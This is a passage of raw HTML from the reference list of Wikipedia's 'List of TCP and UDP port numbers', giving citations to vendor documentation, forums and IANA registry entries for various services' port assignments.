class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Manual+pages+-+F-PROT+Antivirus+Support+-+Unix&amp;rft.pub=F-prot.com&amp;rft_id=http%3A%2F%2Fwww.f-prot.com%2Fsupport%2Funix%2Funix_manpages%2Ff-protd.8.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-347\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-347\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://securitytracker.com/id/1029853\">\"GE Proficy HMI/SCADA - CIMPLICITY Input Validation Flaws Let Remote Users Upload and Execute Arbitrary Code\"</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-05-10</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=GE+Proficy+HMI%2FSCADA+-+CIMPLICITY+Input+Validation+Flaws+Let+Remote+Users+Upload+and+Execute+Arbitrary+Code&amp;rft_id=http%3A%2F%2Fsecuritytracker.com%2Fid%2F1029853&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-348\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-348\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://forum.dcs.world/topic/215677-ports-and-protocols-used-for-dcs-world/\">\"ports and protocols used for DCS world\"</a>. <i>ED Forums</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2022-05-17</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=ED+Forums&amp;rft.atitle=ports+and+protocols+used+for+DCS+world&amp;rft_id=https%3A%2F%2Fforum.dcs.world%2Ftopic%2F215677-ports-and-protocols-used-for-dcs-world%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-349\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-349\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20140419012604/https://getsatisfaction.com/bstk/topics/network_broadcast_from_bluestacks_beacon_v1\">\"network broadcast from bluestacks - Beacon-v1\"</a>. Getsatisfaction.com. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://getsatisfaction.com/bstk/topics/network_broadcast_from_bluestacks_beacon_v1\">the original</a> on April 19, 2014<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-08</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=network+broadcast+from+bluestacks+-+Beacon-v1&amp;rft.pub=Getsatisfaction.com&amp;rft_id=https%3A%2F%2Fgetsatisfaction.com%2Fbstk%2Ftopics%2Fnetwork_broadcast_from_bluestacks_beacon_v1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-350\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-350\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://octopus.com/docs/infrastructure/deployment-targets/windows-targets/tentacle-communication\">\"Octopus Deploy Documentation\"</a>. March 2019.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Octopus+Deploy+Documentation&amp;rft.date=2019-03&amp;rft_id=https%3A%2F%2Foctopus.com%2Fdocs%2Finfrastructure%2Fdeployment-targets%2Fwindows-targets%2Ftentacle-communication&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-xcompute-iana-record-351\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-xcompute-iana-record_351-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=11235\">\"xcompute_service_assignment\"</a>. <i>IANA Records</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2 May</span> 2021</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=IANA+Records&amp;rft.atitle=xcompute_service_assignment&amp;rft_id=https%3A%2F%2Fwww.iana.org%2Fassignments%2Fservice-names-port-numbers%2Fservice-names-port-numbers.xhtml%3Fsearch%3D11235&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-openrct2-docs-multiplayer-352\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-openrct2-docs-multiplayer_352-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFJohn2015\" class=\"citation book cs1\">John, Ted (2015-11-25). <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170426235410/https://openrct2.readthedocs.io/en/latest/playing/multiplayer/index.html\">\"Multiplayer\"</a>. <a rel=\"nofollow\" class=\"external text\" href=\"https://docs.openrct2.website/\"><i>OpenRCT2 0.0.2 documentation</i></a>. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"https://docs.openrct2.website/en/latest/playing/multiplayer/index.html\">the original</a> on 2017-04-26<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-04-26</span></span>. <q>...&#160;enter the hostname or IP address (and optionally a port if the server is not using the default OpenRCT2 port, 11753).&#160;...&#160;configure your router to forward TCP connections on your chosen port (default is 11753)&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=bookitem&amp;rft.atitle=Multiplayer&amp;rft.btitle=OpenRCT2+0.0.2+documentation&amp;rft.date=2015-11-25&amp;rft.aulast=John&amp;rft.aufirst=Ted&amp;rft_id=https%3A%2F%2Fdocs.openrct2.website%2Fen%2Flatest%2Fplaying%2Fmultiplayer%2Findex.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-http&#58;//wiki.secondlife.com/wiki/Authentication_Flow@step_4-353\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-http://wiki.secondlife.com/wiki/Authentication_Flow@step_4_353-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://wiki.secondlife.com/wiki/Authentication_Flow#Step_4\">\"Authentication Flow\"</a>. <i>Second Life Wiki</i>. 25 February 2008<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">26 July</span> 2017</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Second+Life+Wiki&amp;rft.atitle=Authentication+Flow&amp;rft.date=2008-02-25&amp;rft_id=http%3A%2F%2Fwiki.secondlife.com%2Fwiki%2FAuthentication_Flow%23Step_4&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (July 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-wiki.secondlife.com/wiki/LSL_HTTP_server@Functions-354\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-wiki.secondlife.com/wiki/LSL_HTTP_server@Functions_354-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-wiki.secondlife.com/wiki/LSL_HTTP_server@Functions_354-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://wiki.secondlife.com/wiki/LSL_HTTP_server#Functions\">\"LSL_HTTP_server\"</a>. <i>Second Life Wiki</i>. 11 January 2014<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">26 July</span> 2017</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Second+Life+Wiki&amp;rft.atitle=LSL_HTTP_server&amp;rft.date=2014-01-11&amp;rft_id=http%3A%2F%2Fwiki.secondlife.com%2Fwiki%2FLSL_HTTP_server%23Functions&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (July 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-355\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-355\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://docs.graylog.org/en/latest/pages/gelf.html\">\"GELF — Graylog 4.0.0 documentation\"</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=GELF+%E2%80%94+Graylog+4.0.0+documentation&amp;rft_id=http%3A%2F%2Fdocs.graylog.org%2Fen%2Flatest%2Fpages%2Fgelf.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-https&#58;//support.makerbot.com/learn/makerbot-desktop-software/using-makerbot-desktop/network-connectivity-for-enterprise-private-networks-fifth-generation-makerbot-3d-printers_1190-356\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-https://support.makerbot.com/learn/makerbot-desktop-software/using-makerbot-desktop/network-connectivity-for-enterprise-private-networks-fifth-generation-makerbot-3d-printers_1190_356-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-https://support.makerbot.com/learn/makerbot-desktop-software/using-makerbot-desktop/network-connectivity-for-enterprise-private-networks-fifth-generation-makerbot-3d-printers_1190_356-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://support.makerbot.com/learn/makerbot-desktop-software/using-makerbot-desktop/network-connectivity-for-enterprise-private-networks-fifth-generation-makerbot-3d-printers_11902\">\"Network Connectivity for Enterprise Private Networks: Fifth Generation MakerBot 3D Printers\"</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">7 September</span> 2020</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Network+Connectivity+for+Enterprise+Private+Networks%3A+Fifth+Generation+MakerBot+3D+Printers&amp;rft_id=https%3A%2F%2Fsupport.makerbot.com%2Flearn%2Fmakerbot-desktop-software%2Fusing-makerbot-desktop%2Fnetwork-connectivity-for-enterprise-private-networks-fifth-generation-makerbot-3d-printers_11902&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-357\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-357\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20130916094454/http://www.cubeworldwiki.net/index.php/Server\">\"Server\"</a>. Cube World Wiki. 2013-07-17. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://www.cubeworldwiki.net/index.php/Server\">the original</a> on 2013-09-16<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2013-10-08</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Server&amp;rft.pub=Cube+World+Wiki&amp;rft.date=2013-07-17&amp;rft_id=http%3A%2F%2Fwww.cubeworldwiki.net%2Findex.php%2FServer&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (June 2017)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-358\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-358\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://www-01.ibm.com/support/docview.wss?uid=nas8N1012844\">\"How to Access the Version 7 HMC Remotely\"</a>. IBM. 2013-07-17<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-09-05</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=How+to+Access+the+Version+7+HMC+Remotely&amp;rft.pub=IBM&amp;rft.date=2013-07-17&amp;rft_id=http%3A%2F%2Fwww-01.ibm.com%2Fsupport%2Fdocview.wss%3Fuid%3Dnas8N1012844&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-359\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-359\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://wiki.secondlife.com/wiki/Authentication_Flow#Step_4\">\"Authentication Flow\"</a>. 25 February 2008.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Authentication+Flow&amp;rft.date=2008-02-25&amp;rft_id=http%3A%2F%2Fwiki.secondlife.com%2Fwiki%2FAuthentication_Flow%23Step_4&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-360\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-360\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFScheduler-Usage\" class=\"citation web cs1\">Scheduler-Usage. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20130502061720/http://www.scheduler-usage.com/modules.php?name=Forums&amp;file=viewtopic&amp;t=1229\">\"Forums: Controlm-M Usage Forum Index -&gt; Control-M Enterprise Manager\"</a>. Scheduler-Usage. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://www.scheduler-usage.com/modules.php?name=Forums&amp;file=viewtopic&amp;t=1229\">the original</a> on May 2, 2013<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Forums%3A+Controlm-M+Usage+Forum+Index+-%3E+Control-M+Enterprise+Manager&amp;rft.pub=Scheduler-Usage&amp;rft.au=Scheduler-Usage&amp;rft_id=http%3A%2F%2Fwww.scheduler-usage.com%2Fmodules.php%3Fname%3DForums%26file%3Dviewtopic%26t%3D1229&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-361\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-361\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20190513062538/http://aow.triumph.net/support-2/networking/\">\"Multiplayer Connection Guide &#124; Age of Wonders III\"</a>. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://aow.triumph.net/support-2/networking/\">the original</a> on 2019-05-13.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Multiplayer+Connection+Guide+%26%23124%3B+Age+of+Wonders+III&amp;rft_id=http%3A%2F%2Faow.triumph.net%2Fsupport-2%2Fnetworking%2F&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-362\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-362\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://support.kaspersky.com/KSC/13.2/en-US/158830.htm\">\"Ports used by Kaspersky Security Center\"</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Ports+used+by+Kaspersky+Security+Center&amp;rft_id=https%3A%2F%2Fsupport.kaspersky.com%2FKSC%2F13.2%2Fen-US%2F158830.htm&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rabbitmq-management-363\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rabbitmq-management_363-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.rabbitmq.com/management.html\">\"Management Plugin\"</a>. <i>RabbitMQ</i>. <a href=\"/wiki/Pivotal_Software\" title=\"Pivotal Software\">Pivotal Software</a>. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20170923143556/https://www.rabbitmq.com/management.html\">Archived</a> from the original on 2017-09-23<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2017-09-23</span></span>. <q>...&#160;The Web UI is located at: <code><a rel=\"nofollow\" class=\"external free\" href=\"http://server-name:15672/\">http://server-name:15672/</a></code>&#160;...&#160;NB: The port for RabbitMQ versions prior to 3.0 is 55672.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=RabbitMQ&amp;rft.atitle=Management+Plugin&amp;rft.chron=n.d.&amp;rft_id=https%3A%2F%2Fwww.rabbitmq.com%2Fmanagement.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-364\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-364\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20080108164715/http://docs.info.apple.com/article.html?artnum=106407\">\"<i>Mac OS X Server 10: Web service uses ports 80 and 16080 by default</i>\"</a>. apple.com. Archived from <a rel=\"nofollow\" class=\"external text\" href=\"http://docs.info.apple.com/article.html?artnum=106407\">the original</a> on 2008-01-08<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2014-05-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Mac+OS+X+Server+10%3A+Web+service+uses+ports+80+and+16080+by+default&amp;rft.pub=apple.com&amp;rft_id=http%3A%2F%2Fdocs.info.apple.com%2Farticle.html%3Fartnum%3D106407&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-365\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-365\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://spec.m17project.org/part-2/ip-networking\">m17project.org</a></span>\n</li>\n<li id=\"cite_note-port_17224,_IANA,_2019-366\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-port_17224,_IANA,_2019_366-0\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=17224\">Service Name and Transport Protocol Port Number Registry (search for 17224)</a></span>\n</li>\n<li id=\"cite_note-port_17225,_IANA,_2019-367\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-port_17225,_IANA,_2019_367-0\">^</a></b></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml?search=17225\">Service Name and Transport Protocol Port Number Registry (search for 17225)</a></span>\n</li>\n<li id=\"cite_note-minecraft.gamepedia.com-368\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-minecraft.gamepedia.com_368-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-minecraft.gamepedia.com_368-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://minecraft.gamepedia.com/Bedrock_Dedicated_Server\">\"Bedrock Dedicated Server – Minecraft Wiki\"</a>. <i>minecraft.gamepedia.com</i><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2020-08-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=minecraft.gamepedia.com&amp;rft.atitle=Bedrock+Dedicated+Server+%E2%80%93+Minecraft+Wiki&amp;rft_id=https%3A%2F%2Fminecraft.gamepedia.com%2FBedrock_Dedicated_Server&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span><sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Identifying_reliable_sources#User-generated_content\" class=\"mw-redirect\" title=\"Wikipedia:Identifying reliable sources\"><span title=\"This reference citation appears to be to a user-generated source. (August 2020)\">user-generated source</span></a></i>&#93;</sup></span>\n</li>\n<li id=\"cite_note-gtalk_voice-369\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-gtalk_voice_369-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-gtalk_voice_369-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-gtalk_voice_369-2\"><sup><i><b>c</b></i></sup></a></span> <span class=\"reference-text\"><a rel=\"nofollow\" class=\"external text\" href=\"https://code.google.com/support/bin/answer.py?hl=en&amp;answer=62464\"><i>How do I allow my internal XMPP client or server to connect to the Talk service?</i></a>, Google Code Help, accessed December 15, 2010.</span>\n</li>\n<li id=\"cite_note-370\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-370\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.freedesktop.org/software/systemd/man/systemd-journal-gatewayd.service.html\">\"Systemd-journal-gatewayd.service\"</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Systemd-journal-gatewayd.service&amp;rft_id=https%3A%2F%2Fwww.freedesktop.org%2Fsoftware%2Fsystemd%2Fman%2Fsystemd-journal-gatewayd.service.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-371\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-371\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://www.freedesktop.org/software/systemd/man/systemd-journal-remote.service.html\">\"Systemd-journal-remote.service\"</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=Systemd-journal-remote.service&amp;rft_id=https%3A%2F%2Fwww.freedesktop.org%2Fsoftware%2Fsystemd%2Fman%2Fsystemd-journal-remote.service.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-MLE-372\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-MLE_372-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation news cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/draft-ietf-6lo-mesh-link-establishment\">\"IETF Mesh Link Establishment\"</a>. <i>Ietf Datatracker</i>. 2015-12-01<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2022-02-21</span></span>.</cite><span 